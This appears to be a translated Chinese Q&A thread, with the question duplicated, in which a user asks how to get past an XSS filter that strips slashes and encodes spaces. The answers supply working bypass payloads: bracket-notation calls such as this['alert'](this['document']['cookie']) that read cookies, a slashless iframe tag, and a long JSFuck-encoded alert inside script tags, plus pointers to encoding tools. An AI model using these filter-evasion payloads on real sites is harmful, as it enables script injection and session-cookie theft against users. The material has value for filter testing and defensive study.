我需要一个不使用正斜杠或空格的 XSS 向量。我浏览了数百个向量的列表,但它们通常具有这两个向量中的一个。空格被 URL 编码,斜线后的任何内容都被删除。
我已经尝试过诸如 之类的东西<script\src=*>
,但是根据我的理解,您需要一个正斜杠才能使它起作用。
我需要一个不使用正斜杠或空格的 XSS 向量。我浏览了数百个向量的列表,但它们通常具有这两个向量中的一个。空格被 URL 编码,斜线后的任何内容都被删除。
我已经尝试过诸如 之类的东西<script\src=*>
,但是根据我的理解,您需要一个正斜杠才能使它起作用。
如果没有实际的漏洞摆在我面前,很难想出一个向量,但在过去,当我遇到此类问题时,我会采用非字母数字的方式来利用它。这个博客很好地描述了它是如何完成的。这个馅饼中也有一些向量。
我将假设您有一种执行脚本的方法,但您只需要执行正确的有效负载即可。从上面引用的博客:
由于 JavaScript 有两种不同的语法形式来访问属性,因此您可以像访问字典一样访问 Object 方法:
object.method(arguments) === object["method"](arguments)
因此,使用这种方法,您的有效负载可能类似于:
this["alert"]("xss")
如果你想取出 cookie,你也可以使用
this["alert"](this["document"]["cookie"])
使用这两种方法中的任何一种都有望获得您正在寻找的代码执行。这些没有空格或斜杠 - 认为您仍然需要在某种属性内,或者您应该能够将其包含在<script>
标签中。在某些浏览器中,您可以尝试类似的东西<script>{your vector}<script>
,它可能会起作用(我记得前一段时间它在 IE 上对我有用)
编辑:如果这只是输入验证漏洞的概念证明,您还可以嵌入 iFrame。同样,根据浏览器的不同,iFrame 不需要结束标记。所以<iframe\src='www.google.com'>
可能只是做这项工作。
我知道我参加聚会有点晚了,但还有另一个有效的媒介。对有效载荷进行编码。这是触发警报的示例有效负载:
<script>[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()</script>
jsfiddle 在这里。没有空格,什么都没有。有效载荷由六个字符组成,![]+()
. 不涉及空间。
您可以使用此工具对有效负载进行编码。